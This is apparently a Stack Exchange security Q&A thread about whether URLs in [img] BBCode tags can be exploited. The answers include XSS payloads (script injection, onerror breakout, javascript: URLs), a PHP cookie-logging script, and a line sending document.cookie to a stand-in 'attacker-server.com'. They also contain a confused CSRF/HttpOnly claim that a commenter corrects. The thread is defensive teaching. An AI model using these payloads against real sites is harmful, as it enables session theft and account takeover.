By using a system of special tags you can allow users to add custom images, for example, tags like [img]user_url[/img]. Then you replace the tags by their real HTML tags like <img src="user_url" /> making sure to sanitize the user_url.

Not checking the url could be considered a vulnerability? Is there any way to exploit it? And by itself*?
*the website does not have any other vulnerability.

Edit: This is how it is sanitized (PHP)
htmlspecialchars(stripslashes($string)) Being $string = [img]user_url[/img]
References: stripslashes(), htmlspecialchars()

What I have in mind, but I am not totally sure, is something like, [img]http://mysite.com/user?deleteAccount=1[/img]. Is this possible? Are there other ways to exploit this functionality?

  • 1
    Checking the URL for what? For instance you might want to know if that JPG they link to is actually the Black Hole Exploit Kit but it's not feasible to test for that (directly) ?
    – adric
    Aug 30, 2012 at 14:54
  • @adric I mean, if you let the user to introduce any valid url in the href, could it be exploited?
    – eversor
    Aug 30, 2012 at 15:17
  • 1
    "making sure to sanitize" "sanitize" how?
    – curiousguy
    Aug 30, 2012 at 15:37
  • @eversor: There are a lot of 'valid' URLs that could result in attack or exploitation, yes. To say nothing of the fact that the URL gives you little indication of what is on the other end of it, eg is that a JPG or a PHP script?
    – adric
    Aug 30, 2012 at 17:13
  • Clearer example? Neat trick too :) isc.sans.edu/diary/+Data+URLs+used+for+in-URL+phishing/13996
    – adric
    Aug 30, 2012 at 17:18

4 Answers 4


Assuming your conversion function does not sanitize:

[img]" /><script>var x=document.forms[0];x.message.value='XSS injection here';x.submit()</script><img src="[/img]


<img src="" />
<script>var x=document.forms[0];x.message.value='XSS injection here';x.submit()</script>
<img src="" />

This is a simple example of CSRF (cross-site request forgery). As soon as another user loads said [img] tag, they will run the Javascript that has been injected as an authenticated user, submitting the form unintentionally upon page load.

There are even worse possibilities, including XSS (cross-site scripting). For instance, your attacker may have a remote server that has a script similar to this:


    mysql_query("INSERT INTO `cookies` VALUES
        (DEFAULT, '" . mysql_real_escape_string($_GET['input']) . "'"));

The attacker can send an AJAX request through the injected Javascript and send himself your session cookie with a URL like so:

'http://attacker-server.com/foo.php?input=' + document.cookie;

This will allow the attacker to hijack your session ID, impersonating you in the application.

An obstacle for the interim to solve a problem such as this (an imperfect solution) is to set the HttpOnly property on your cookie(s) to prevent certain CSRF attacks from occurring.


You mentioned:

What I have in mind, but I am not totally sure, is something like, [img]http://mysite.com/user?deleteAccount=1[/img]. Is this possible? Are there other ways to exploit this functionality?

This is definitely possible. Read my explanation above regarding CSRF. In fact, many web applications use this to track e-mail clickthroughs, as the hidden image's src value links to a script that runs when a user opens their e-mail.

  • 1
    It sanitizes, I updated the question to show how. BTW I made a little mistake, img tag does not have the href attribute, it is src ;)
    – eversor
    Aug 30, 2012 at 18:30
  • And, apart from CSRF, are there other ways to exploit it?
    – eversor
    Aug 31, 2012 at 6:30
  • As the exploit is launched on the client-side, CSRF/XSS are pretty much what you're looking at here.
    – Daniel Li
    Aug 31, 2012 at 14:16
  • Having cookies with HttpOnly doesn’t prevent CSRF.
    – Gumbo
    Nov 23, 2012 at 18:45
  • Thus the caveat, "an imperfect solution" and calling it an "obstacle" instead of a "fix". Granted, it should have been more clear.
    – Daniel Li
    Nov 24, 2012 at 5:12

Let user_url be http://some_image/" onerror="alert(1)

Thus creating the string: <img href="http://some_image/" onerror="alert(1)" />

You said "making sure to sanitize the user_url"

And I'm asking HOW. Yes obviously this could be a vulnerability, and this depends entirely on HOW you are sanitizing this string.

  • I edited the question, now you can see how it is done. BTW I made a little mistake, img tag does not have the href attribute, it is src ;)
    – eversor
    Aug 30, 2012 at 18:30
  • @eversor add the ENT_QUOTES argument to htmlspeicalcahrs(). Also stripslashes() shouldn't come into play unless you are using magic_qotes_gpc, which shouldn't be enabled.
    – rook
    Aug 30, 2012 at 19:42

The attack based on unsanitised input is that the URL will be of a dangerous scheme, eg javascript:alert(). You should check for a known-good URL scheme (eg http://) before creating an image pointing to it.

The HTML-injection attack described by @Hope is also likely to exist, but that is a problem of lacking HTML-encoding, not specifically of input validation. Your mini markup language must make sure to HTML-encode all values it uses to create HTML. (In cases where your input has mismatched/nested tags this is notoriously tricky to get right.)


And by itself? the website does not have any other vulnerability.

If someone inserts javascript code into your page, then anyone that visits it will be running that javascript code from your domain. So they could force any actions (XSS) that the user could do from that page (delete account, transfer money, etc).

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .